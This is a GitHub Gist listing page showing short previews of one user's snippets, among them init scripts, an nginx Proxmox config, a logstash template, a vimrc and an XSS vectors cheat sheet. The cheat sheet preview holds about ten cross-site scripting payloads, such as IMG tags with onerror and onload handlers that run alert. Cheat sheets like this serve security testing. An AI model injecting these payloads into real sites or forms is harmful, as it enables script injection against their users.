Skip to content

Instantly share code, notes, and snippets.

@Anye
Anye / supervisord.sh
Created Jun 20, 2019 — forked from danmackinlay/supervisord.sh
an init.d script for supervisord
View supervisord.sh
#! /bin/sh
### BEGIN INIT INFO
# Provides: supervisord
# Required-Start: $remote_fs
# Required-Stop: $remote_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Example initscript
# Description: This file should be used to construct scripts to be
# placed in /etc/init.d.
@Anye
Anye / xss_vectors.txt
Created Sep 1, 2018 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
View xss_vectors.txt
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@Anye
Anye / document_ready.js
Created Oct 13, 2017
Pure javascript implement for jQuery's .ready(), usage: document.ready(function() { /*you code*/ });
View document_ready.js
(function () {
var ie =!!(window.attachEvent&&!window.opera),wk=/webkit\/(\d+)/i.test(navigator.userAgent)&&(RegExp.$1<525);
var fn =[],run=function(){for(var i=0;i<fn.length;i++)fn[i]();},d=document;d.ready=function(f){
if(!ie&&!wk&&d.addEventListener){return d.addEventListener('DOMContentLoaded',f,false);}if(fn.push(f)>1)return;
if(ie)(function(){try{d.documentElement.doScroll('left');run();}catch(err){setTimeout(arguments.callee,0);}})();
else if(wk)var t=setInterval(function(){if(/^(loaded|complete)$/.test(d.readyState))clearInterval(t),run();},0);};
})();
View get_outer_ip.sh
#!/bin/bash
get_outer_ip() {
ip_addr=$( curl -sS http://echoip.me/raw )
if [[ ! "${ip_addr}" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
ip_addr=$( dig +short @resolver1.opendns.com myip.opendns.com )
ip_addr=${ip_addr//\"/}
if [[ ! "${ip_addr}" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
ip_addr=$( dig +short @ns1.google.com o-o.myaddr.l.google.com -t txt )
if [[ ! "${ip_addr}" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
@Anye
Anye / nginx-vhost-proxprox.conf
Created Aug 1, 2017 — forked from sergey-dryabzhinsky/nginx-vhost-proxprox.conf
Nginx virtual host config for Proxmox. To hide pveproxy on 8006 port behind. With working VNC passthrough.
View nginx-vhost-proxprox.conf
###
# Nginx vhost file to hide Proxmox pveproxy
# For 3.4+ version, maybe older too.
#
# Do not forget to create file
# /etc/default/pveproxy:
# ALLOW_FROM="127.0.0.1"
# DENY_FROM="all"
# POLICY="allow"
#
@Anye
Anye / latency.txt
Created Nov 23, 2016 — forked from jboner/latency.txt
Latency Numbers Every Programmer Should Know
View latency.txt
Latency Comparison Numbers
--------------------------
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
Send 1K bytes over 1 Gbps network 10,000 ns 10 us
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD
@Anye
Anye / logstash-template.json
Created Sep 29, 2016 — forked from deverton/logstash-template.json
Logstash Elasticsearch Template
View logstash-template.json
{
"template": "logstash-*",
"settings" : {
"number_of_shards" : 1,
"number_of_replicas" : 0,
"index" : {
"query" : { "default_field" : "@message" },
"store" : { "compress" : { "stored" : true, "tv": true } }
}
},
@Anye
Anye / tengine
Created Aug 10, 2014
tengine 启动脚本
View tengine
#!/bin/bash
#
# Startup script for Nginx - this script starts and stops the nginx daemon
#
# chkconfig: - 85 15
# description: Tengine is an HTTP(S) server, HTTP(S) reverse proxy and IMAP/POP3 proxy server
# processname: nginx
# config: /usr/local/tengine/conf/nginx.conf
# pidfile: /usr/local/tengine/logs/nginx.pid
@Anye
Anye / PHPView.php
Created Dec 18, 2013
simplie php template engine
View PHPView.php
<?php
/**
* 简单PHP模板引擎
*
* @author Anye
*
*/
class PHPView
{
protected $data = array();
@Anye
Anye / .vimrc
Last active Dec 30, 2015
my vim config
View .vimrc
" ----------------- Author: Anye
" Ctrl + H --光标移当前行行首
" Ctrl + J --光标移下一行行首
" Ctrl + K --光标移上一行行尾
" Ctrl + L --光标移当前行行尾
" Ctrl + C --编译 [支持C/C++、Java、Haskll]
" Ctrl + R --运行 [支持C/C++、Java、Haskell、Lua、Perl、Python、Ruby]
" Ctrl + ] --转到函数定义
You can’t perform that action at this time.